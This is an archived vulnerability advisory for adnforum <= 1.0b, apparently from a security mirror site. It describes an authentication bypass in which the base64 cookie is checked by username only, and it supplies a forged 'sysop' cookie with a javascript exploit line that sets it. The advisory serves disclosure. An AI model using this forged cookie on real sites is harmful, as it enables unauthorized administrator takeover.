AOH :: HP Unsorted A :: VA1384.HTM

adnforum <= 1.0b / Insecure Cookie Handling Vulnerability



adnforum <= 1.0b / Insecure Cookie Handling Vulnerability
adnforum <= 1.0b / Insecure Cookie Handling Vulnerability



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adnforum <= 1.0b / Insecure Cookie Handling Vulnerability
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$ Program: adnforum
$ Version: <= 1.0b
$ File affected: index.php
$ Download: http://sourceforge.net/projects/adnforum/ 


Found by Pepelux 
eNYe-Sec - www.enye-sec.org 


Cookie is base64 based and the ascii format used is:
user:23ed4e45887ad4311ff654bd4aab6540:user:0
user:md5 pass:user:0

Programmer forgot to check the pass and only use the nick to autenticate
the user.

You can create a fake cookie likes this:
sysop:000000000000000000000000000000:sysop:0

In base64: c3lzb3A6MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOnN5c29wOjA

Exploit:
javascript:document.cookie "fpusuario=c3lzb3A6MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOnN5c29wOjA"

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